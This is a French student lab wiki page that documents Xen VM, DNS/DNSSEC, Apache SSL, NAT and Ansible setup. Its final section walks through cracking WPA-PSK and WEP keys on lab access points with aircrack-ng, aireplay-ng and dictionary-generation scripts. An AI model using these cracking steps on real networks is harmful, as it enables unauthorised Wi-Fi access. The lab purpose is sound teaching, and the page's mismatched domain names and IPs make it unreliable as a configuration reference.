TP sysres IMA5sc 2019/2020 G4 : Différence entre versions

Version du 9 décembre 2019 à 17:41

Sommaire

1 Installation des systèmes d’exploitation: machine virtuelle Xen
2 Architecture réseau
3 Services Internet
4 Ferme de serveurs Web
5 Tests d’intrusion

Installation des systèmes d’exploitation: machine virtuelle Xen

Lors de la 1ère séance:

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen. On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

 ssh root@cordouan.insecserv.deule.net
 export http_proxy=http://proxy.polytech.fr:3128
 xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

Lors de la 2ème séance:

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

 #
 # Configuration file for the Xen instance chlamydiae, created
 # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
 #
 
 #
 #  Kernel + memory size
 #
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'
 extra       = 'elevator=noop'
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'
 
 vcpus       = '1'
 memory      = '256'
 
 
 #
 #  Disk device(s).
 #
 root        = '/dev/xvda2 ro'
 disk        = [
                   'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
                   'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
               ]
 
 
 #
 #  Physical volumes
 #
 
   
 #    
 #  Hostname
 #
 name        = 'chlamydiae'
 
 #
 #  Networking
 #
 dhcp        = 'dhcp'
 vif         = [ 'mac=00:16:3E:D0:18:F4' ]
 
 #
 #  Behaviour
 #
 on_poweroff = 'destroy'
 on_reboot   = 'restart'
 on_crash    = 'restart'

Architecture réseau

Services Internet

Serveur SSH

On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:

 xl reboot chlamydiae

ou

 xl destroy chlamydiae
 xl create chlamydiae.cfg

Pour se connecter a une VM:

 xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:

 # The primary network interface
 auto eth0
 iface eth0 inet static
  address 193.48.57.180
  netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :

 #PermitRootLogin prohibit-password

par

 PermitRootLogin yes

Il faut ensuite rebooter la machine virtuelle.

Serveur DNS

On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS: - on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options

 dnssec-validation auto;

Sur Cordouan on installe de bind9:

  apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL	604800
@	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (
			3	; Serial
			604800	; Refresh
			86400	; Retry
			2419200	; Expire
			604800 )	; Negative Cache TTL
;
	IN	NS	ns.chlamydiae.site.
	IN	NS	ns6.gandi.net.
@      IN      A       193.48.57.180
ns	IN	A	193.48.57.180
www	IN	A	193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 rajoute automatiquement le nom du domaine

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "hercule.space" {
        type master;
        file "/etc/bind/chlamydiae.site"; 
        allow-transfer {217.70.177.40;}; //dns de gandi 
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre serveur bind9 :

 service bind9 restart

En cas d'erreur on a accés au log dans /var/log/daemon.log

Sur gandi.net dans votre domain dans l'onglet glue records ajouté :

 name : ns.chlamydiae.site
 IP address : 193.48.57.180

c'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :

 DNS 1: ns.chlamydiae.site
 DNS 2 : ns6.gandi.net

Serveur Apache

Création du dossier /var/www/www.chlamydiae.pw

Certification SSL :

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :

  openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

Configuration Apache :

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

 <VirtualHost 193.48.57.183:443>
                ServerName www.chlamydiae.site
                ServerAlias chlamydiae.site
                DocumentRoot /var/www/html/
                CustomLog /var/log/apache2/secure_acces.log combined

                SSLEngine on
                SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
                SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
                SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
                SSLVerifyClient None
 </VirtualHost>

redirection automatique du port http vers le port https

 <VirtualHost 193.48.57.183:80>
                ServerName www.chlamydiae.site
                ServerAlias chlamydiae.site
                Redirect / https://www.chlamydiae.site
 </VirtualHost>

DNSSEC

Pour sécuriser notre DNS, nous avons tout d'abord ajouté la ligne :

dnssec-enable yes;

dans le fichier /etc/bind/named.conf.options.

Puis, nous créons le répertoire hadess.space.dnssec pour y générer les clés. Dans ce répertoire, nous lançons donc la commande :

dnssec-keygen -a RSASHA1 -b 2048 -r /dev/urandom -f KSK -n ZONE hadess.space

Pour générer la clef asymétrique de signature de clefs de zone. (l'option -r /dev/urandom est utilisée pour accélérer la génération sur un système de test). Puis, nous utilisons la commande :

dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hadess.space

Nous avons alors renommé nos clefs en :

hadess.space-ksk.key
hadess.space-ksk.private
hadess.space-zsk.key
hadess.space-zsk.private

On inclu alors nos clefs en les ajoutant au début du fichier de zone /etc/bind/db.hadess.space :

$include /etc/bind/hadess.space.dnssec/hadess.space-ksk.key
$include /etc/bind/hadess.space.dnssec/hadess.space-zsk.key

On se rend alors dans le répertoire hadess.space.dnssec et on lance la commande :

dnssec-signzone -o hadess.space -k hadess.space-ksk ../db.hadess.space hadess.space-zsk

Cela va alors signer nos enregistrements de la zone. Nous n'avons donc plus qu'à modifier le fichier named.conf.local pour utiliser le fichier de zone signé :

file "/etc/bind/db.hadess.space.signed";

On se rend alors dans le registrar Gandi dans l'onglet "nom de domaine" puis en modifiant l'option DNSSEC afin d'ajouter nos clés publiques hadess.space-ksk.key et hadess.space-zsk.key en choisissant l'algorithme RSA/SHA1 comme précédemment.

Enfin, on relance le service bind :

service bind9 restart

On regarde enfin le bon fonctionnement de notre DNSSEC avec le site http://dnsviz.net/ . Celui ci nous confirme que notre dnssec fonctionne correctement malgrè quelques problèmes rencontrés dû à un non raffraichissement des fichiers de configuration de bind. Nous avons donc dû supprimer le serveur de nom ns6.gandi.net sur gandi puis le réenregistrer pour bien prendre en compte nos modifications sur les fichiers de configurations et donc activer correctement le dnssec.

Ferme de serveurs Web

Architecture générale de la ferme

On commence par créer une seconde machien virtuelle:

 ssh root@cordouan.insecserv.deule.net
 # export http_proxy=http://proxy.plil.fr:3128
 # export https_proxy=http://proxy.plil.fr:3128
 # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:

 tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ : Pour la première (chlamydiae):

 vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:

 vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:

 auto eth1
 iface eth1 inet static
  address 192.168.0.14         # = adresse de private-chlamydiae + 10
  netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:

 auto eth0
 iface eth0 inet static
  gateway 193.48.57.180       # l'adresse de la VM principale
  address 192.168.0.4

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:

 iptables -P FORWARD DROP
 iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
 iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
 iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
 echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:

 apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire). On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:

 ---
 all:
   hosts:
     nous:
       ansible_host: 192.168.0.4
   children:
     serveurs-internes:
       hosts:
         192.168.0.[1:6]
 ...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:

 ssh-keygen -t rsa
 cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:

 ---
 - hosts: serveurs-internes
   tasks:
   - name: install lsb-release
     apt: 
       update_cache=yes
       state=latest
       name =  { { item } }
     with_items:
     - lsb-release
   - name: test lsb release
     shell: 'lsb_release -d'
     register: ps
   - debug: var=ps.stdout_lines
 ...

On lance le playbook:

 ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:

Installation de docker

On commence par installer le rôle docker dont on a besoin:

 ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:

 ---
 - hosts: nous
   roles:
     - geerlingguy.docker
 ...

Création de votre conteneur

Configuration de vos serveurs internes

Equilibreur de charge

Tests d’intrusion

Cassage de mot de passe WPA-PSK par force brute

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:

 ls usb

Ensuite on récupère le nom de notre interface:

 iwconfig

On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande

 airmon-ng start wlx40a5ef0125e9

On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:

 airodump-ng wlx40a5ef0125e9

Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.

 airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s

 dictfile=open("dict.txt","a")
 for i in range(99999999):
   dictfile.write(str(i)+'\n')
 dictfile.close()

Celui en C s’exécute en 7 s

 #include <stdlib.h>
 #include <stdio.h>
 int main() {
   FILE *f;
   f= fopen("dictc.txt", "a");	
   for(int i=0;i<=99999999;i++) {
     fprintf(f, "%08d\n", i);
   }
   fclose(f);
   return 0;
 }

On peut alors lancer le cassage à l'aide de:

 aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:

Cassage de clef WEP d’un point d’accès Wifi

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:

 airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:

 airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:

 aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:

 aircrack-ng Wep*.cap

On obtient alors le résultat suivant: